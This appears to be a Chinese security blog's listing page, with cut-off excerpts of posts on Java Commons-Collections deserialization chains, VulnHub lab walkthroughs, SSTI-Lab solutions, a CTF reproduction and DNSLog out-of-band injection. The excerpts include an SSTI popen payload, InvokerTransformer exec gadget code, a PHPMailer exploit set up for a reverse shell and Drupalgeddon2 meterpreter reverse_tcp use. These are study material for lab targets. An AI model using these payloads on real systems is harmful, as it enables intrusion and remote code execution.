Java学习之CC链3
环境准备
jdk8u65
Commons-Collections 3.2.1
分析最近几周没碰Java感觉又有点生疏了,在CC3中命令执行的方法和1,6不一样,这里用的是动态类加载,使用defineClass->newInstance 来命令执行即在字节里面加载一个类然后实例化执行代码,所以直接从这里入手逆推,还是find usages寻找哪里调用了defineClass,因为它是一个protected所以我们需要一个调用它public方法,最终在TemplatesImpl类的static final class TransletClassLoader下找到defineClass这里没有标注作用域即默认为defalut,也就是自己的类里面可以调用继续find usages发现defineTransletClasses私有方法里面调用了这里_bytecodes不能为空不然就不能执行到defineClass方法了,然后继续find usages最终找到了getTransletInstance方法并且这里有个newInstance()实例化的过程,动态执行代码正好需要实例化,所以如果 ...
VulnHub-Raven-2
靶机地址https://www.vulnhub.com/entry/raven-2,269/
flag—1扫描存活主机arp-scan -l通过靶机mac地址判断IP为192.168.75.135然后nmap扫一下,看看开放端口nmap -A -p- -v 192.168.75.135三个开放端口,然后dirsearch扫一下目录访问/vendor存在一个目录遍历漏洞,在PATH下找到flag1
flag—2,3访问README.md发现存在一个phpmailer服务,并且在VERSION下看的版本为5.2.16搜了一下18以下存在PHPMailer远程命令执行漏洞本来想手工利用,但是失败了,直接利用searchsploit搜索可以利用的漏洞searchsploit PHPMailer将python那条exp拷贝出来,然后修改目标地址和反弹shell的地址以及上传的路径
1cp /usr/share/exploitdb/exploits/php/webapps/40974.py /home/joker27/桌面
然后执行exp生成后门文件python 40974.py监听端 ...
Vulnhub-DC-2
环境搭建下载地址:https://www.vulnhub.com/entry/dc-2,311/下载完后就一个ova文件,Vmware打开就行
flag–1老步骤,扫描存活IParp-scan -l通过mac地址判断IP为192.168.75.134nmap查看全部端口,-v为查看版本号nmap -A -p- -v 192.168.75.134有一个80端口,还有一个7744放了ssh访问IP的时候发现访问失败,并且重定向到域名dc-2原因为本地无法解析域名,所以需要编辑/etc/hosts文件,添加靶机IP地址及对应域名
12vim /etc/hosts192.168.75.134 dc-2
由于是在kali下写入所以只能在kali下访问,然后在页面找到flag1然后根据提示下一个flag要使用kali下的cewl,并且需要登录,所以待会儿要扫一下目录
flag–2先使用cewl生成一下密码字典cewl dc-2 -w dict.txt然后使用WPscan枚举一下用户wpscan --url dc-2 --enumerate u得到三个用户,然后使用一开始生成的 ...
Java学习之CC链6
环境准备基本上和CC1差不多
jdk8u71Comoons-Collections 3.2.1
开始分析前半段链子,LazyMap 类到 InvokerTransformer 类是一样的,所以直接到 LazyMap 下,这里先重新一边LazyMap 类调用计算器的 EXP,看参考博客说多写有利于比那些EXP确实是这样,能加深理解,反正没坏处,并且我发现自己又有点忘记了。。。
123456789101112public class Dome { public static void main(String[] args) throws Exception{ Runtime r = Runtime.getRuntime(); InvokerTransformer invokerTransformer = new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc" ...
Vulnhub--DC-1
环境准备官网直接下载zip
信息搜集首先扫描一下主机存活看一下靶机IP,可以使用如下命令arp-scan -l最后确定靶机IP为192.168.75.133可以一个个访问确定,也可以看一下靶机的mac地址确定访问得到如下页面这个Drupal有个远程代码执行的cve为CVE-2018-7600,当然还不知道版本对不对,不过先不急着看这个CVE,用nmap扫描一下开放的端口nmap -A 192.168.75.133利用插件看一下指纹信息,可以看到Drupal版本为7是存在这个CVE漏洞的
flag1直接利用msfconsole来看一下,这里手动弄的话很麻烦,进入msf搜一下这个模块search Drupal直接使用18年的那个CVEuse exploit/unix/webapp/drupal_drupalgeddon2然后查看一下payload执行show payloads可以看到所有payload列出,使用如下payload,这里也可以不设置,我是为了练习一下工具使用set payload php/meterpreter/reverse_tcp然后查看需要配置的参数show optio ...
Vulnhub--Ai-Web1
环境准备直接下载靶机然后解压,VMware上运行vmx文件就行,靶机链接运行靶机会有要密码登录,别管就行,因为渗透已经开始了!!
开始打靶使用netdiscover扫描ip挨个访问,最终发现192.168.75.132这个IP可疑nmap扫描一下这个IP 查看开放端口
123nmap -T4 -sV -O -A -P 192.168.75.132-T4(速度) -sV(版本扫描和开启的服务) -O(操作系统) -p-(全部端口这里其实用-A就可以,主要时熟悉一下参数
可以看到80端口开放也就是我们一开始访问的那个页面,直接扫一下目录存在一个robots.txtemmmm,两个都是403,然后对着这个两个路径扫一下,扫到一个http://192.168.75.132/m3diNf0/info.php网站的绝对路径,然后扫另一个http://192.168.75.132/se3reTdir777这里一开始扫的uploads但是没有东西然后就扫了这个,看wp有的是用的kali下的dirb,涨姿势了以前都不知道这个工具访问index.php,中途断开连接了还以为是题目的设定。。。访问得到下面的 ...
CC链1--LazyMap链
开始分析这里我直接拿cc1的demo改了,首先进入InvokerTransformer下的transform方法然后find usages可以看到LazyMap下也调用了transform方法,直接进去看代码
1234567public Object get(Object key) { // create value for key if key is not currently in the map if (map.containsKey(key) == false) { Object value = factory.transform(key); map.put(key, value); return value; }
public型get方法调用了transform方法,然后去看factory然后这里同时还有decorate方法和TransformMap 中的 decorate 方法是一样的作用,然后去看这个类的构造函数为protected所以得通过decorate方 ...
Java学习之CC链1
前言感觉最近Java考的用的很多,自己对于Java是0基础,让我迫切想要开始学,看了大佬的学习链是从开发开始,那样感觉就太慢了而且自己对于开发兴趣不大,但是偏偏又离不开开发,只能边学开发边看安全,虽然有点急了但是也没办法了
一点建议如果没有学过Java或者不了解idea的操作的话开始CC链之前强烈建议先跟URLDNS链,把该踩的坑踩了再弄CC链会顺畅很多
环境配置这里我就列一下自己踩的坑,作为一个对Java和idea不熟悉的新手容易犯的错
jdkjdk要求是jdk8u65,在官网我下载的时候选择8u65但是下载的却不是,另外的平台安装会同时安装jdk和jre我们需要的是jdk不要把jre也放在jdk目录下,不然idea导入jdk会失败下载完的目录如下
加入依赖1234567<dependencies> <dependency> <groupId>commons-collections</groupId> <artifactId>commons-collections</art ...
Java学习之URLDNS链
先放代码,感觉还是自己跟着视频手写一遍更好理解,很多理解放在注释中了
12345678910111213141516171819202122232425262728293031323334import java.lang.reflect.Field; import java.util.HashMap; //入口类 import java.net.URL; //调用链中的类 import java.io.*; public class URLDNS { public static void main(String[] args) throws Exception{ HashMap <URL,Object> hashMap = new HashMap<>(); URL url = new URL("http://vnmkzfpuho.dnstunnel.run"); //通过反射获取到url中的hashcode属性 Fiel ...
SSTI-Lab
level 1前面的试探就不弄了,当然也可以试一下看自己环境有没有问题先给出payload:{{"".__class__.__bases__[0].__subclasses__()[143].__init__.__globals__['popen']("type flag").read()}}这里找的是os._wrap_close通过脚本搜索下标为143,初始化之后可以使用popen来打开flag,这里有一个点卡了我很久,就是"type flag"我一直使用"cat flag"得不到flag,而我一开始是不知道type这个命令的,看到SSTI-Labs靶场 - o2takuXX の blogo2takuXX の blog这篇博客才知道type命令通过GPT的回答应该是由于我在Windows下部署的环境导致的问题,最终使用type得到flag当然可以用的模块很多,可以参考一下网上其它博主的wp,这里就不一一列举了
level 2这一关过滤了{{`可以用`{% %}`来绕 ...
NSSRound 7 Team复现
ec_RCE一个比较简单的题,但是需要看懂代码
123456789101112131415<!-- A EZ RCE IN REALWORLD _ FROM CHINA.TW --><!-- By 探姬 --><?PHP if(!isset($_POST["action"]) && !isset($_POST["data"])) show_source(__FILE__); putenv('LANG=zh_TW.utf8'); $action = $_POST["action"]; $data = "'".$_POST["data"]."'"; $output = shell_exec("/var/packages/Java8/target/j2sdk-image/bin/java -jar jar/NCHU.jar $ ...
DnsLog外带注入学习
应用场景 当我们对一个数据库进行注入时,无回显,且无法进行时间注入,那么就可以利用一个通道,把查询到数据通过通道带出去,这里的通道包括:http请求、DNS解析、SMB服务等将数据带出。
DNS是什么DNS原理及其解析过程_king9666的博客-CSDN博客DNS( Domain Name System)是“域名系统”的英文缩写,是一种组织成域层次结构的计算机和网络服务命名系统,它用于TCP/IP网络,它所提供的服务是用来将主机名和域名转换为IP地址的工作。DNS就是这样的一位“翻译者”.同时,DNS是一个分布式数据库系统,它提供将域名转换成对应IP地址的信息。这种将名称转换成IP地址的方法称为域名解析。所以在申请域名的时候都要将域名所指向的IP地址提交给NIC。这样就要求你的IP必须是固定的才可以申请域名。简单来说就是将域名解析为ip
然后我们找一个特定的可以记录DNS解析的网站DNSLog Platform这个网站就可以看到DNS解析记录,将回显打到这个网站从而实现注入先看看网站的使用,进入点击Get SubDomain可以获得一个域名然后ping一下这个域名可以看到能 ...